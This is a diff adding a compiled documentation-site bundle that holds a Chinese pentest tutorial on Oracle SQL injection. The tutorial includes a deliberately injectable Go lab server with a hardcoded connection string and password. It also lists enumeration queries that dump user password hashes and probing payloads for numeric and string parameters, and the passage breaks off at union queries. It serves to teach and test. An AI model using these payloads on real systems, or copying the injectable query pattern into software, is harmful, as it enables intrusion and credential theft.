r.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function a(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:s(e.components),r.createElement(t.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/0d16731a.03ebc2de.js b/en/assets/js/0d16731a.03ebc2de.js new file mode 100644 index 0000000..faafec7 --- /dev/null +++ b/en/assets/js/0d16731a.03ebc2de.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8302],{23582:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>t,contentTitle:()=>d,default:()=>m,frontMatter:()=>c,metadata:()=>l,toc:()=>a});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Oracle","title":"Oracle","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/03.Oracle.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Oracle","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Oracle","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/03.Oracle.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u6570\u636e\u5e93\u8bc6\u522b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6570\u636e\u5e93\u8bc6\u522b"},"next":{"title":"MySQL","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MySQL"}}');var r=s(74848),i=s(28453);const c={},d=void 0,t={},a=[{value:"\u4e00\u4e9b\u57fa\u672c\u6982\u5ff5",id:"\u4e00\u4e9b\u57fa\u672c\u6982\u5ff5",level:2},{value:"\u73af\u5883\u642d\u5efa",id:"\u73af\u5883\u642d\u5efa",level:2},{value:"\u57fa\u672c\u7528\u6cd5",id:"\u57fa\u672c\u7528\u6cd5",level:2},{value:"\u6ce8\u5165\u6d41\u7a0b",id:"\u6ce8\u5165\u6d41\u7a0b",level:2},{value:"\u5bfb\u627e\u5e76\u5224\u65ad\u6ce8\u5165\u70b9",id:"\u5bfb\u627e\u5e76\u5224\u65ad\u6ce8\u5165\u70b9",level:3},{value:"\u8054\u5408\u67e5\u8be2",id:"\u8054\u5408\u67e5\u8be2",level:3},{value:"\u62a5\u9519\u6ce8\u5165",id:"\u62a5\u9519\u6ce8\u5165",level:3},{value:"\u5e03\u5c14\u76f2\u6ce8",id:"\u5e03\u5c14\u76f2\u6ce8",level:3},{value:"\u5916\u5e26\u653b\u51fbOOB\uff08Out Of Band\uff09",id:"\u5916\u5e26\u653b\u51fboobout-of-band",level:3},{value:"\u7ed5\u8fc7",id:"\u7ed5\u8fc7",level:2},{value:"\u7f16\u7801\u7ed5\u8fc7",id:"\u7f16\u7801\u7ed5\u8fc7",level:3},{value:"\u7a7a\u683c\u7ed5\u8fc7",id:"\u7a7a\u683c\u7ed5\u8fc7",level:3},{value:"\u62fc\u63a5\u6362\u884c\u56de\u8f66\u7b26",id:"\u62fc\u63a5\u6362\u884c\u56de\u8f66\u7b26",level:3},{value:"\u5206\u5757\u4f20\u8f93",id:"\u5206\u5757\u4f20\u8f93",level:3},{value:"\u810f\u6570\u636e",id:"\u810f\u6570\u636e",level:3}];function h(n){const e={a:"a",blockquote:"blockquote",code:"code",h2:"h2",h3:"h3",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-08-19 16:42:15"})]})})]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"Oracle\u670d\u52a1\u9ed8\u8ba4\u7aef\u53e3\uff1a1521"})}),"\n",(0,r.jsx)(e.h2,{id:"\u4e00\u4e9b\u57fa\u672c\u6982\u5ff5",children:"\u4e00\u4e9b\u57fa\u672c\u6982\u5ff5"}),"\n",(0,r.jsx)(e.p,{children:"1\u3001SID(Site ID)\uff1a\u4e00\u4e2a\u7531\u5b57\u6bcd\u548c\u6570\u5b57\u7ec4\u6210\u7684\u7cfb\u7edf\u6807\u8bc6\u7b26\u7528\u6765\u505a\u5b9e\u4f8b\u7684\u552f\u4e00\u6027\u7684\u533a\u522b\uff0c\u5305\u542b\u4e86\u81f3\u5c11\u4e00\u4e2a\u5e94\u7528\u7a0b\u5e8f\u7684\u5b9e\u4f8b\u548c\u6570\u636e\u5b58\u50a8\u8bbe\u5907"}),"\n",(0,r.jsxs)(e.p,{children:["2\u3001\u5b9e\u4f8b(Instance):\u7531\u4e00\u4e2a\u5b9e\u4f8b\u6570\u5b57(\u6216\u662f\u4e00\u4e2a\u5f15\u5bfcID\uff1a",(0,r.jsx)(e.code,{children:"SYS.V_$DATABASE.ACTIVATION#"}),"\uff09\u8868\u793a\uff0c\u5305\u542b\u4e86\u4e00\u4e2a\u64cd\u4f5c\u7cfb\u7edf\u7a0b\u5e8f\u7684\u96c6\u5408\u548c\u4e0e\u5b58\u50a8\u8bbe\u5907\u8fdb\u884c\u4ea4\u8c08\u7684\u5185\u90e8\u7ed3\u6784"]}),"\n",(0,r.jsx)(e.p,{children:"ORACLE\u5b9e\u4f8b = \u8fdb\u7a0b + \u8fdb\u7a0b\u6240\u4f7f\u7528\u7684\u5185\u5b58(SGA)"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u8fdb\u7a0b\uff1a\u8d1f\u8d23\u63a5\u53d7\u548c\u5904\u7406\u5ba2\u6237\u7aef\u4f20\u6765\u7684\u6570\u636e\uff0c\u5982 Windows \u4e0b\u7531 oracle.exe \u8fdb\u7a0b\u8d1f\u8d23\u5206\u53d1\u548c\u5904\u7406\u8bf7\u6c42"}),"\n",(0,r.jsxs)(e.li,{children:["SGA:\u5168\u79f0\u4e3a ",(0,r.jsx)(e.code,{children:"System Global Area"}),"(\u7cfb\u7edf\u5168\u5c40\u533a\u57df)\u3002\u5b9e\u9645\u4e0a\u662f\u5185\u5b58\u4e2d\u7684\u4e00\u7247\u5171\u4eab\u533a\u57df\uff0c\u5176\u4e2d\u5305\u542b\u5b9e\u4f8b\u914d\u7f6e\u3001\u6570\u636e\u7f13\u5b58\u3001\u64cd\u4f5c\u65e5\u5fd7\u3001SQL\u547d\u4ee4\u3001\u7528\u6237\u4fe1\u606f\u7b49\u4fe1\u606f\uff0c\u7531\u540e\u53f0\u8fdb\u7a0b\u8fdb\u884c\u5171\u4eab"]}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["3\u3001\u6570\u636e\u5e93\uff1a\u4e00\u822c\u6307\u7269\u7406\u5b58\u50a8\u7684\u6587\u4ef6\uff0cOracle \u6570\u636e\u5e93\u9664\u4e86\u57fa\u672c\u7684\u6570\u636e\u6587\u4ef6\uff0c\u8fd8\u6709",(0,r.jsx)(e.code,{children:"\u63a7\u5236\u6587\u4ef6"}),"\u548c ",(0,r.jsx)(e.code,{children:"Redo \u65e5\u5fd7"}),"(\u91cd\u505a\u6587\u4ef6 + \u63a7\u5236\u6587\u4ef6 + \u6570\u636e\u6587\u4ef6 + \u4e34\u65f6\u6587\u4ef6)\uff0c\u8fd9\u4e9b\u6587\u4ef6\u4e00\u822c\u5b58\u50a8\u5728",(0,r.jsx)(e.code,{children:"$ORACLE_HOME\\oradata..."}),"\u8def\u5f84\u4e0b\uff0c\u540e\u7f00\u540d\u540eDBF"]}),"\n",(0,r.jsx)(e.p,{children:"\u7b80\u800c\u8a00\u4e4b\uff0c\u5b9e\u4f8b\u662f\u4e34\u65f6\u6027\u7684\uff0c\u6570\u636e\u5e93\u662f\u6c38\u4e45\u6027\u7684\uff0c\u4e00\u4e2a\u6570\u636e\u5e93\u53ef\u4ee5\u5bf9\u5e94\u591a\u4e2a\u5b9e\u4f8b\uff0c\u800c\u4e00\u4e2a\u5b9e\u4f8b\u53ea\u80fd\u5bf9\u5e94\u4e00\u4e2a\u6570\u636e\u5e93"}),"\n",(0,r.jsx)(e.h2,{id:"\u73af\u5883\u642d\u5efa",children:"\u73af\u5883\u642d\u5efa"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"database/sql"\n\t"fmt"\n\t"github.com/gin-gonic/gin"\n\t_ "github.com/godror/godror"\n)\n\nvar (\n\tDb *sql.DB\n)\n\nfunc main() {\n\tr := gin.Default()\n\tfunc() {\n\n\t\tvar err error\n\t\tDb, err = sql.Open("godror", `user="TEST" password="test" connectString="119.13.81.145:1521/helowin"`)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\terr = Db.Ping()\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}()\n\tdefer Db.Close()\n\tuser := r.Group("api/v1")\n\n\tuser.GET("user/queryById", func(c *gin.Context) {\n\t\ti := c.DefaultQuery("id", "0")\n\t\tsql_ := fmt.Sprintf("select * from TEST.PERSONS where USER_ID=%s", i)\n\t\tfmt.Println(sql_)\n\t\trows, err := Db.Query(sql_)\n\t\tif err != nil {\n\t\t\tc.JSON(400, gin.H{"err": err.Error()})\n\t\t\tfmt.Println(err)\n\t\t\treturn\n\t\t}\n\t\tdefer rows.Close()\n\t\tvar slice []map[string]interface{}\n\t\tvar m1 map[string]interface{}\n\t\tm1 = make(map[string]interface{})\n\n\t\tvar id, username, password string\n\t\tfor rows.Next() {\n\t\t\trows.Scan(&id, &username, &password) //\u5199\u5165\u67e5\u8be2\u6570\u636e\u96c6\u7684\u6240\u6709\u5217\u540d\n\t\t\tm1["id"] = id\n\t\t\tm1["username"] = username\n\t\t\tm1["password"] = password\n\t\t\tslice = append(slice, m1) //\u5206\u7247\u4e2d\u8ffd\u52a0\u4fe1\u606f\n\t\t}\n\n\t\tc.JSON(200, gin.H{"data": m1})\n\t\treturn\n\t})\n\tuser.GET("user/queryByUsername", func(c *gin.Context) {\n\t\ti := c.DefaultQuery("user", "admin")\n\t\tsql_ := fmt.Sprintf("select * from TEST.PERSONS where USERNAME=\'%s\'", i)\n\t\tfmt.Println(sql_)\n\t\trows, err := Db.Query(sql_)\n\t\tif err != nil {\n\t\t\tc.JSON(400, gin.H{"err": err.Error()})\n\t\t\tfmt.Println(err)\n\t\t\treturn\n\t\t}\n\t\tdefer rows.Close()\n\t\tvar slice []map[string]interface{}\n\t\tvar m1 map[string]interface{}\n\t\tm1 = make(map[string]interface{})\n\n\t\tvar id, username, password string\n\t\tfor rows.Next() {\n\t\t\trows.Scan(&id, &username, &password) //\u5199\u5165\u67e5\u8be2\u6570\u636e\u96c6\u7684\u6240\u6709\u5217\u540d\n\t\t\tm1["id"] = id\n\t\t\tm1["username"] = username\n\t\t\tm1["password"] = password\n\t\t\tslice = append(slice, m1) //\u5206\u7247\u4e2d\u8ffd\u52a0\u4fe1\u606f\n\t\t}\n\n\t\tc.JSON(200, gin.H{"data": m1})\n\t\treturn\n\t})\n\tuser.GET("user/BoolById", func(c *gin.Context) {\n\t\ti := c.DefaultQuery("id", "0")\n\t\tsql_ := fmt.Sprintf("select * from TEST.PERSONS where USER_ID=%s", i)\n\t\tfmt.Println(sql_)\n\t\trows, err := Db.Query(sql_)\n\t\tif err != nil {\n\t\t\tc.JSON(400, gin.H{"err": "error"})\n\t\t\treturn\n\t\t}\n\t\tdefer rows.Close()\n\t\tvar slice []map[string]interface{}\n\t\tvar m1 map[string]interface{}\n\t\tm1 = make(map[string]interface{})\n\n\t\tvar id, username, password string\n\t\tfor rows.Next() {\n\t\t\trows.Scan(&id, &username, &password) //\u5199\u5165\u67e5\u8be2\u6570\u636e\u96c6\u7684\u6240\u6709\u5217\u540d\n\t\t\tm1["id"] = id\n\t\t\tm1["username"] = username\n\t\t\tm1["password"] = password\n\t\t\tslice = append(slice, m1) //\u5206\u7247\u4e2d\u8ffd\u52a0\u4fe1\u606f\n\t\t}\n\t\tif len(slice) > 0 {\n\t\t\tc.JSON(200, gin.H{"data": "id\u5b58\u5728"})\n\t\t} else {\n\t\t\tc.JSON(200, gin.H{"data": "id\u4e0d\u5b58\u5728"})\n\t\t}\n\t\treturn\n\t})\n\tpanic(r.Run(":8000"))\n}\n\n'})}),"\n",(0,r.jsx)(e.h2,{id:"\u57fa\u672c\u7528\u6cd5",children:"\u57fa\u672c\u7528\u6cd5"}),"\n",(0,r.jsxs)(e.blockquote,{children:["\n",(0,r.jsx)(e.p,{children:"![INFO]"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u91cc\u4f7f\u7528\u4e86\u89e3\u4e00\u4e9b\u57fa\u672c\u8bed\u6cd5\u7684\u8bdd\uff0c\u5c31\u4e86\u89e3\u4e00\u4e9b\u8ddfmysql\u4e0d\u4e00\u6837\u7684\u5730\u65b9"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u865a\u8868 dual"}),"\uff1a\u5b83\u6ca1\u6709\u5b9e\u9645\u7684\u5b58\u50a8\u610f\u4e49\uff0c\u6c38\u8fdc\u53ea\u5b58\u50a8\u4e00\u6761\u6570\u636e\uff0c\u56e0\u4e3a oracle \u7684\u8bed\u6cd5\u8981\u6c42 select \u540e\u5fc5\u987b\u8ddf\u4e0a from\uff0c\u6240\u4ee5\u901a\u5e38\u4f7f\u7528 dual \u6765\u4f5c\u4e3a\u8ba1\u7b97\u3001\u67e5\u8be2\u65f6\u95f4\u7b49SQL\u8bed\u53e5\u4e2d from \u4e4b\u540e\u7684\u865a\u8868\u5360\u4f4d\uff0c\u4f8b\u5982",(0,r.jsx)(e.code,{children:"select 1+1 from dual"})]}),"\n",(0,r.jsx)(e.p,{children:"\u90fd\u662f\u9075\u5b88\u7684SQL\u6807\u51c6\u8bed\u6cd5"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["select \u5fc5\u987b\u8981\u6307\u660e\u8868\u540d\u3002\u4e5f\u53ef\u4ee5\u7528 ",(0,r.jsx)(e.code,{children:"dual"})," \u4f5c\u4e3a\u8868\u540d\u6765\u5bf9\u975e\u771f\u5b9e\u7684\u8868\u8fdb\u884c\u67e5\u8be2"]}),"\n",(0,r.jsxs)(e.li,{children:["Oracle \u4e2d\u7a7a\u5b57\u7b26\u4e32",(0,r.jsx)(e.code,{children:"''"}),"\u5c31\u662f",(0,r.jsx)(e.code,{children:"null"}),"\uff08\u4e5f\u5c31\u662f\u8bf4oracle\u53ea\u6709",(0,r.jsx)(e.code,{children:"null"}),"\uff0c\u6ca1\u6709\u7a7a\u5b57\u7b26)"]}),"\n",(0,r.jsxs)(e.li,{children:["Oracle\u4f7f\u7528 ",(0,r.jsx)(e.code,{children:"||"})," \u62fc\u63a5\u5b57\u7b26\u4e32\uff0cMySQL\u4e2d\u4e3a\u6216\u8fd0\u7b97"]}),"\n",(0,r.jsx)(e.li,{children:"Oracle\u7684\u5355\u5f15\u53f7\u4e0emysql\u4e00\u6837\u7684\uff0c\u53ea\u4e0d\u8fc7Oracle\u7684\u53cc\u5f15\u53f7\u662f\u7528\u6765\u6d88\u9664\u7cfb\u7edf\u5173\u952e\u5b57\u7684"}),"\n",(0,r.jsx)(e.li,{children:"Oracle\u4e2dlimit\u5e94\u8be5\u4f7f\u7528\u865a\u8868\u4e2d\u7684rownum\u5b57\u6bb5\u901a\u8fc7where\u6761\u4ef6\u5224\u65ad"}),"\n"]}),"\n"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u5f53\u524d\u6570\u636e\u5e93\u7528\u6237\uff1a"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';\nSELECT version FROM v$instance;\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u83b7\u53d6\u64cd\u4f5c\u7cfb\u7edf\u7248\u672c\uff1a"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT banner FROM v$version where banner like 'TNS%';\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u83b7\u53d6\u5f53\u524d\u7528\u6237\u6743\u9650\u7684\u6240\u6709\u6570\u636e\u5e93\uff1a"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT DISTINCT owner, table_name FROM all_tables;\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u83b7\u53d6\u5f53\u524d\u6570\u636e\u5e93\uff1a"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT global_name FROM global_name;\nSELECT name FROM v$database;\nSELECT instance_name FROM v$instance;\nSELECT SYS.DATABASE_NAME FROM DUAL;\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u8868\u540d\u4e0e\u5b57\u6bb5\u540d\uff1a"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT table_name FROM all_tables;\nSELECT table_name FROM user_tables;\nSELECT column_name FROM all_tab_columns;\nselect column_name from user_tab_columns;\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u83b7\u53d6DB\u6587\u4ef6\u8def\u5f84"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT name FROM V$DATAFILE; \n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u83b7\u53d6\u4e3b\u673a\u540d\u548cIP"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT UTL_INADDR.get_host_name FROM dual;\nSELECT host_name FROM v$instance;\nSELECT UTL_INADDR.get_host_address FROM dual; \u67e5IP\nSELECT UTL_INADDR.get_host_name(\u2018127.0.0.1\u2019) FROM dual; \u67e5\u4e3b\u673a\u540d\u79f0\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u5f53\u524d\u6570\u636e\u5e93\u7528\u6237"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT user FROM dual;\nSELECT SYS_CONTEXT('USERENV','AUTHENTICATED_IDENTITY') FROM dual;\nSELECT SYS_CONTEXT('USERENV','SESSION_USER') FROM dual;\nselect sys_context('userenv','current_user') from dual\n\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u6240\u6709\u6570\u636e\u5e93\u7528\u6237"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT username FROM all_users ORDER BY username;\nSELECT name FROM sys.user$; -- priv\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u6240\u6709\u6570\u636e\u5e93\u7528\u6237\u7684\u5bc6\u7801 hash"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT name, password, astatus FROM sys.user$; -- priv, <= 10g\nSELECT name,spare4 FROM sys.user$ -- priv, 11g\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u83b7\u53d6\u5f53\u524d\u7528\u6237\u6743\u9650"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT * FROM session_privs; \n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u83b7\u53d6\u6240\u6709\u7528\u6237\u6743\u9650"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT * FROM dba_sys_privs; -- priv\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u83b7\u53d6\u7528\u6237\u89d2\u8272"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;\nSELECT DISTINCT grantee FROM dba_sys_privs;\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u5217\u51faDBA\u8d26\u6237"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = \u2018YES\u2019; -- priv\n"})}),"\n",(0,r.jsx)(e.h2,{id:"\u6ce8\u5165\u6d41\u7a0b",children:"\u6ce8\u5165\u6d41\u7a0b"}),"\n",(0,r.jsx)(e.h3,{id:"\u5bfb\u627e\u5e76\u5224\u65ad\u6ce8\u5165\u70b9",children:"\u5bfb\u627e\u5e76\u5224\u65ad\u6ce8\u5165\u70b9"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"\u6570\u5b57\u578b"})}),"\n",(0,r.jsx)(e.p,{children:"\u6570\u5b57\u578b\u7684\u6ce8\u5165,\u548c\u5176\u4ed6\u7c7b\u578b\u6570\u636e\u5e93\u65f6\u90fd\u4e00\u6837,\u81ea\u5df1\u6784\u9020\u52a0\u51cf\u4e58\u9664\u7684\u6761\u4ef6\u6765\u5224\u65ad\u6ce8\u5165"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u901a\u8fc7 ",(0,r.jsx)(e.code,{children:"<>"})," \u6765\u5224\u65ad"]}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"1 and 1<>6--+ #\u8fd4\u56de\u4e3a\u771f \u9875\u9762\u6b63\u5e38\n1 and 1<>1--+ #\u8fd4\u56de\u4e3a\u5047 \u9875\u9762\u5f02\u5e38\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404101726037.png",alt:"image-20230404101726037"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404101912641.png",alt:"image-20230404101912641"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u901a\u8fc7\u52a0\u51cf\u6cd5\u5224\u65ad"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404102523196.png",alt:"image-20230404102523196"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u901a\u8fc7\u6570\u636e\u5e93\u62a5\u9519\u6765\u5224\u65ad"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"# \u73af\u5883\u8981\u6539\u52a8\u624d\u6709\u622a\u56fe \n1 #\u8fd4\u56de\u4e3a\u6b63\u5e38\n1/0 #\u8fd4\u56de\u5f02\u5e38\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404102941101.png",alt:"image-20230404102941101"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404103017112.png",alt:"image-20230404103017112"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u901a\u8fc7\u6ce8\u91ca\u7b26\u6765\u5224\u65ad(\u591a\u884c\u6ce8\u91ca:/**/,\u5355\u884c\u6ce8\u91ca:\u2013)"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=1 #\u8fd4\u56de\u4e3a\u6b63\u5e38\n?id=1--test #\u4e5f\u8fd4\u56de\u6b63\u5e38\n?id=1/*test*/ #\u4e5f\u8fd4\u56de\u6b63\u5e38\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404103046485.png",alt:"image-20230404103046485"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404103709626.png",alt:"image-20230404103709626"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"\u5b57\u7b26\u578b"})}),"\n",(0,r.jsxs)(e.p,{children:["\u5b57\u7b26\u578b\u6ce8\u5165\u76f8\u5bf9\u6570\u5b57\u578b\u6765\u8bf4,\u4f1a\u5b58\u5728\u95ed\u5408\u4e00\u4e9b\u6570\u636e\u5f15\u7528\u7b26\u53f7\u7684\u95ee\u9898,\u4f8b\u5982\u8bed\u53e5\u901a\u8fc7",(0,r.jsx)(e.code,{children:"'"}),"\u95ed\u5408\u8bed\u53e5\u540e,\u540e\u7eed\u5c31\u8981\u901a\u8fc7\u5355\u884c\u6ce8\u91ca\u7b26\u6765\u6ce8\u91ca\u5269\u4e0b\u7684\u5355\u5f15\u53f7,\u5176\u4ed6\u60c5\u51b5\u4e5f\u662f\u5982\u6b64\uff1a\uff08\u5047\u8bbe\u6570\u636e\u5e93\u4e2dname\u5b57\u6bb5\u6709test\u8fd9\u4e2a\u503c\uff09"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u901a\u8fc7",(0,r.jsx)(e.code,{children:"<>"}),"\u6765\u5224\u65ad"]}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{children:"?user=admin' and 1<>6--+ #\u8fd4\u56de\u6b63\u5e38\n?user=admin' and 1<>1--+ #\u8fd4\u56de\u5f02\u5e38\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404104002437.png",alt:"image-20230404104002437"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404104023229.png",alt:"image-20230404104023229"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u4f7f\u7528\u5b57\u7b26\u4e32\u62fc\u63a5\u7b26",(0,r.jsx)(e.code,{children:"||"}),"\uff0c\u901a\u8fc7\u5224\u65ad\u62fc\u63a5\u7b26\u662f\u5426\u6267\u884c\uff0c\u4ece\u800c\u5224\u65ad\u662f\u5426\u5b58\u5728\u6ce8\u5165"]}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{children:"?user=adm'||'in #\u8fd4\u56de\u6b63\u5e38\n?user=adm'||'123 #\u8fd4\u56de\u5f02\u5e38\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404104115641.png",alt:"image-20230404104115641"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404104122930.png",alt:"image-20230404104122930"})}),"\n",(0,r.jsx)(e.h3,{id:"\u8054\u5408\u67e5\u8be2",children:"\u8054\u5408\u67e5\u8be2"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u5229\u7528union 